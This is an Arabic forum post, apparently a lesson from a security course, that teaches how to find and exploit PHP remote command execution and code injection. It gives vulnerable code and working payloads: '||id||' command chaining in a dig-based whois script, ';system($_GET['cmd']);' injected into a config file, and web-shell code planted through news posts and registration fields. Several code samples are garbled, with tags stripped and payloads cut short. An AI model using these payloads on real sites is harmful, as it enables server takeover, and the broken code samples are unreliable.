منتدى قبيلة البشايره والعرافين الرسمى -من العضيان

عفواًً تم نقل المنتدى على الرابط لتالي http://albshaerh.com/vb/index.php
 
http://pesh.amuالرئيسيةس .و .جالتسجيلدخول

 

 


شاطر | 
 

  شرح اكتشاف واستغلال ثغرات Remote Command Execution و PHP Code Injection

اذهب الى الأسفل 
كاتب الموضوعرسالة
شرقاوي
مشرف عـام
مشرف عـام
avatar

الساعه الان :
ذكر
عدد المساهمات : 229
نقاط : 2907
السٌّمعَة : 6
01/01/1988
تاريخ التسجيل : 09/12/2011
العمر : 30
الموقع : قمة أفرست

تقييمك للمنتدى
تواجدك في المنتدى:
71/105  (71/105)

مُساهمةموضوع: شرح اكتشاف واستغلال ثغرات Remote Command Execution و PHP Code Injection    الثلاثاء مارس 06, 2012 5:07 am

السلام عليكم

إزيكو يارجاله
درس من دروس دورة الحمايه للأبد
قلت نحطه هنا لعل الاخوان يستفيدو منه

الدرس النهارده ان شاء الله عن ثغرات ال
Remote Command Execute
او بتعرف اختصارا بإسم
RCE
بالاضافه لشرح ثغرات PHP Code Injection

هنتكلم عن اكتشاف الثغره + كذا طريقه لاستغلالها + تخطى بعض المشاكل اللى ممكن تواجهنا اثناء التطبيق
مكنش هينفع الشرح فيديو لان الموضوع عايز فهم اكتر من ما هو محتاج تطبيق
فى الاخر فيه اختبار صغير كده

نبدأ على بركة الله

كبدايه كده
أشهر داله مستخدمه فى تنفيذ الاوامر هى دالة
system
الشكل التقليدى للداله بيكون كده


كود PHP:
$cmd=$_GET['cmd'];
system($cmd
);

يبقى لو فرضنا ان اسم الملف اللى فيه الكود ده هو vuln.php
يبقى الاستغلال هيكون كده
vuln.php?cmd=ls -la
والنتيجه هتكون تنفيذ الأمر بتاعنا
يبقى لو عايزين نبحث عن ملف مصاب بالثغره نستخدم اى برنامج زى النوت باد بلس بلس مثلا
ونبحث عن
system(
او
exec(
passthru(
وهكذا
ونبص على الكود
تابع الموضوع وانت تعرف الطريقه المناسبه للاستغلال
فيه دوال تانيه لتنفيذ الأوامر زى
passthru
shell_exec
exec

نمسكهم واحده واحده كده
system
هتطبق الأمر وتعرضلك النتيجه فى الصفحه
passthru
هتطبق الأمر وتعرضلك نتيجته فى الصفحه
shell_exec
هتطبق الأمر لكن هتعرض النتيجه كمتغير
exec
هتطبق الأمر لكن مش هتعرض النتيجه
فل كده؟؟
من الكلام اللى فوق ده
نعرف ان لو السكربت المصاب موجود فيه دالة
exec
بالشكل ده مثلا

كود PHP:
$cmd=$_GET['cmd'];
echo
exec($cmd
);

يبقى الاستغلال كده
vuln.php?cmd=ls -la
مش هتشوف نتيجة الأمر
لكن فى الحقيقه الأمر اتنفذ بالفعل
تمام لحد دلوقت؟

ركز فى اللى جى بقى لان كل اللى فوق ده ولا حاجه
هاتلك فنجان قهوه كده واقفل الأغانى وفتح عي*** معايا كويس أوى

ناخد المثال الاول
سكربت من سكربتات
whois lookup
نبص على الكود كده

كود PHP:
include("common.php");
showMenu
();
echo
'
'
;
$status = $_GET['status'
];
$ns = $_GET['ns'
];
$host= $_GET['host'
];
$query_type= $_GET['query_type'
];
$ip = $_SERVER['REMOTE_ADDR'
];
$self= $_SERVER['PHP_SELF'
];
$host = trim($host
);
$host = strtolower($host
);
echo(
"Executing : dig @$ns $host $query_type
"
);
echo
'
'; 
//start digging in the namserver
system ("dig @$ns $host $query_type"
);
echo
'
';
?>

واخدين بالكو من دى؟؟

كود PHP:
system ("dig @$ns $host $query_type");

فل
يبقى لو فرضنا ان اسم الملف vuln.php
يبقى الاستغلال هيبقى ايه؟؟
حاول تطلعه مع نفسك كده
زى ما عملنا فووووق فى اول الموضوع

المفروض الاستغلال يبقى كده
vuln.php?ns=id&host=sec4ever.com&query_type=ANY&st atus=digging
يبقى من بين كل دول انا عدلة خانة
ns
وحطيت فيها الامر بتاعى اللى هو
id
طبق كده وشوف
النتيجه
مفيش أوامر اتنفذت
ليه؟؟
الاستغلال اللى اجنا كتبناه اما ييجى يتنفذ هيتنفذ بالشكل ده
system ("dig id sec4ever.com ANY");
طبعا أمر ملوش معنى
طب والحل؟؟؟
الحل يا معلم اننا نفصل الأمر اللى عايزين نطبقه عن باقى الاوامر
طب ازاى؟؟
كده يا حج
;
او
||
انت اما بتحب تنفذ كذا امر جنب بعض فى اللينكس بتنفذهم كده
ls -la;id;uname-a
تمام؟؟
بس هنا مش هينفع نستخدم ;
يبقى خلينا فى ||
كده بينفذ الاوامر واحد بعد التانى
نفس الفكره هنا
احنا عايزين ننفذ الأمر بتاعنا لوحده ونفصله عن اللى قبله واللى بعده
يبقى هننفذه بالطريقه دى
vuln.php?ns=||id||&host=sec4ever.com&query_type=AN Y&status=digging
الأمر هيتنفذ بالشكل ده
system ("dig ||id|| sec4ever.com ANY");
بكده هنلاقيه نفذ أمر
dig
وبعدين
id
وهنلاقيه عرضلنا النتيجه زى الفل

نبدأ فى حقن أكواد البى اتش بى وتشغيل الدماغ بقى
اقرا المثال كذا مره عشان تستوعب كويس وبعدها خش على المثال التانى


PHP Code Injection

هنقوم احنا بنفسنا بحقن كود ال
RCE
فيه
او ممكن نحقن اى كود بى اتش بى طبعا بس خلينا فى الريموت كوماند
المثال


كود PHP:
if(isset($action) && $action == "setconfig") {
$config_file = "config.php";
$handle = fopen($config_file, 'w');
$StringData = "
$"."news_width = '".clean($_POST[news_width])."';r
$"."bgcolor = '".clean($_POST[bgcolor])."';
r
$"."fgcolor = '".clean($_POST[fgcolor])."';
r
$"."padding = '".clean($_POST[padding])."';
r
$"."subject_margin = '".clean($_POST[subject_margin])."';
r
$"."fontname = '".clean($_POST[fontname])."';
r
$"."fontsize = '".clean($_POST[fontsize])."';rn?>";
fwrite($handle, $StringData);
}

برىء فى الظاهر
مفيش لا سيستم ولا بطيخ
طيب نشوف بيعمل ايه البتاع ده

كود PHP:
config_file = "config.php";
$handle = fopen($config_file,
w

مرتبط بملف تانى اللى هو
config.php
وبيعدل عليه
تمام
نشوف ملف config.php

كود PHP:
$news_width = '600px';
$bgcolor = '#000000'
;
$fgcolor = '#ffffff'
;
$padding = '5px'
;
$subject_margin = '0px'
;
$fontname = 'verdana'
;
$fontsize = '13px'
;
?>

واضح كده ان ملف الكونفيج بيستقبل متغيرات عن طريق الملف الأولانى
يبقى ممكن نعدل فى المعلومات اللى بتتحط فى الكونفيج دى
ونحط مكانها كود ريموت كوماند
نحقن مثلا الكود ده

كود PHP:
($_GET['cmd']); ?>
فى خانة
$news_width
طيب تعالى نروح نحقن الكود كده
user.php?action=setconfig
حطينا الكود
نجرب نطبق الامر بالشكل ده
config.php?cmd=id
هيدينا إيرور
السبب
لو بصينا على ملف الكونفيج هنلاقيه كده

كود PHP:
$news_width = '($_GET['cmd']); ?>';
والكود طبعا غلط بالمره
يبقى لازم فى الحاله دى نشغل البصله برضه يا جدعان
نشوف الكود الاصلى كده
$news_width = '600px';
طيب
ايه رأيك نجرب الكود ده
';system($_GET['cmd']);'
شوف هيبقى فى ملف الكونفيج ازاى

كود PHP:
$news_width = '';system($_GET['cmd']);'';

نقسمه كده
$news_width = ''; ده كود لوحده

system($_GET['cmd']); وده كود لوحده وهو اللى يهمنا

''; وده كود لوحده

كل اللى عملناه اننا قفلنا اقواس التنصيص وحطينا نهايه للكود باستخدام ;
وبعدها بدأنا كود جديد اللى هو فيه دالة السيستم
وقفلناه برضه وبعدين كود اخير عباره عن قوسين تنصيص وخلاص
نروح نجرب
config.php?cmd=id
اتنفذ زى الفل اكتشاف واستغلال ثغرات Remote Command

نبص ع مثال تالت
هنا الأخبار بتتكتب فى ملف اسمه
news.txt
نبص على الملف كده

كود:
test
Posted on: 08/06/2009
test


طيب ما احنا نقدر نحقن كود بى اتش بى تبعنا
بس الملف تكست يبقى مش هيتنفذ؟
غلط
احنا هنحقنه فى ملف تكست لكن هنستعرضه من ملف بى اتش بى
ازاى؟
نبص على الملف اللى بيكتب الأخبار كده


كود PHP:
$newsfile = "news.txt";
$file = fopen($newsfile, "r"
);
elseif ((isset(
$_REQUEST["title"])) && (isset($_REQUEST["date"
])) &&
(isset(
$_REQUEST["post"])) && ($_REQUEST["title"]!=""
) &&
(
$_REQUEST["date"]!="") && ($_REQUEST["post"]!=""
)) {
$current_data = @fread($file, filesize($newsfile
));
fclose($file
);
$file = fopen($newsfile, "w"
);
$_REQUEST["post"] = stripslashes(($_REQUEST["post"
]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"
]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"
]));
if(
fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data
))
include
'inc/posted.html'
;
else
include
'inc/error1.html'
;
fclose($file
);
}

واضح من الكود ان الاخبار بتتكتب فى ملف news.txt
طيب
الزوار أكيد مش هيدخلو على ملف
news.txt
لان كله اكواد هتمل الزائر العادى مش هيفهم منها حاجه
اكيد فيه مكان بيشوفو فيه الاخبار
نبص فى السكربت نلاقى ملف اسمه مثلا
display.php

كود PHP:
include("news.txt");
?>

فل
طيب نحقن كودنا عن طريق ملف post.php
عن طريق التيتل مثلا

كود PHP:
($_GET['cmd']); ?>
طيب هنلاقى نتيجتنا فى ملف
news.txt
زى كده

كود:
Posted on: 08/06/2009
test2


test
Posted on: 08/06/2009
test


ممنهاش فايده طبعا
لكن فى ملف display.php
هنلاقيها بالشكل ده

كود PHP:
<table class='sn'> <tbody> <tr><td class='sn-title'> php system($_GET['cmd']); ?>
Posted on: 08/06/2009
test2


test
Posted on: 08/06/2009
test


?>
فل
استعرضه على انه بى اتش بى
ننفذ أمرنا بالطريقه دى
display.php?cmd=id
والنتيجه تم تنفيذ الأمر بدون مشاكل
يبقى هنا اللى عملناه
حقننا كود عن طريق ملف
post.php
الى ملف
news.txt
واستعرضنا النتيجه من ملف
display.php


ناخد مثال كمان
اصعب شويه من اللى فوق
فى المثال ده اما بنعمل عضويه جديده بتتسجل البيانات فى ملف بى اتش بى
نبص على بعض اكواد الملف المسئول عن التسجيه
add_reg.php
نلاقى


كود PHP:
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$******** = $_POST['********'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
$html = "
$regdate = "$date";
\$user = "$user";
\$pass = "$pass1";
\$email = "$email1";
\$******** = "$********";
\$url = "$url";
?>"
;
$fp = fopen($filename, 'a+'
);
fputs($fp, $html) or die("Could not open file!");

ركز فى الكود كده
هتلاقيه بيعمل ملف باسم اليوزر اللى انت بتكتبه فى مجلد
sites
يعنى مثلا لو سجلت بإسم
faris
هيعمل ملف كده
site.com/sites/faris.php
طيب
واحنا بنسجل ليه منحقنش الكود تبعنا؟
ناخد مثلا خانة
$******** = $_POST['********'];
بيطلب منك تكتب الاقامه
طيب نحطله الخزوق بتاعنا

كود PHP:
($_GET['cmd']); ?>
النتيجه فى ملف
faris.php
هتبقى كده

كود PHP:
$regdate = "13 feb 2011, 4:16 PM";
$user = "faris"
;
$pass = "xxxxx"
;
$email = "faris@yahoo.com"
;
$******** =
""
;
$url = "http://sec4ever.com"
;
?>

حاول تستعرض الملف
sec4ever.com/site/faris.php
النتيجه

اقتباس:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING
رد علينا بخازوق مماثل اكتشاف واستغلال ثغرات Remote Command)
طيب
حاول تطلع الحل انت كده
ازاى نخليه ينفذ الاوامر من غير خطأ؟؟

نعمل تعديل صغنون فى الكود اللى بنحقنه
نخليه كده

كود PHP:
";?>($_GET['cmd']);?>="Very Happy
ههههههههههههههه
بسيطه صح؟؟
هيبقى شكله كده فى الملف تبعنا

كود PHP:
$regdate = "13 fabr 2011, 4:18 PM";
$user = "farisa"
;
$pass = "xxxxx"
;
$email = "farisssss@yahoo.com"
;
$******** =
"";?>($_GET['cmd']);?>="Very Happy"
;
$url = "http://sec4ever.com"
;
?>

نفصل الكود تبعنا
"";?>
أنهينا بيها اكواد البى اتش بى زى كده

كود PHP:
$regdate = "13 fabr 2011, 4:18 PM";
$user = "farisa"
;
$pass = "xxxxx"
;
$email = "farisssss@yahoo.com"
;
$******** =
""
;
?>

قولناله ان دى نهاية كود البى اتش بى

كود PHP:
($_GET['cmd']);?>
بعدها كود بى اتش بى جديد اللى فيه الخزوق تبعنا

كود PHP:
="Very Happy";
يدأنا ملف بى اتش بى جديد
زى كده

كود PHP:
="Very Happy"; $url = "http://sec4ever.com";?>
وبعدها يبدأ كود جديد تالت
نروح نستعرض الملف
sec4ever.com/site/farisa.php?cmd=id
والنتيجه اتنفذ الكود بدون أخطاء

وبكده انتهى الدرس ده


ملحوظه :
اثناء استغلال الثغره يفضل ان تستغلها داخل notepad ++
عشان الوان الكود تبقى واضحه قدامك وتسهل عليك الاستغلال
نسبه كبيره من الدرس مترجمه مع زياده فى الشرح من أجل توصيل المعلومه

هذا وإن أصبت فمن الله وإن أخطأت فمنى ومن الشيطان

أى استفسار موجود ان شاء الله

اكتشاف واستغلال ثغرات Remote Command

بالتوفيق يا شباب


توقيع : {USERNAME}
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
شرح اكتشاف واستغلال ثغرات Remote Command Execution و PHP Code Injection
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» code error w lw krarto w 3mlt paste kteeeer hy3ml D.C
» أفضل 10 طرق لتنفيذ الشنيع Top 10 Gruesome Methods of Execution
» فيلم Soul Code 2009 من اقوى افلام الرعب
» كود راديو نجوم إف ام (( مميز ))
» boilers by hager mandour

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتدى قبيلة البشايره والعرافين الرسمى -من العضيان :: ¦’’ منتديات التقنية ’’ ¦ :: امن المواقع والسيرفات-
انتقل الى: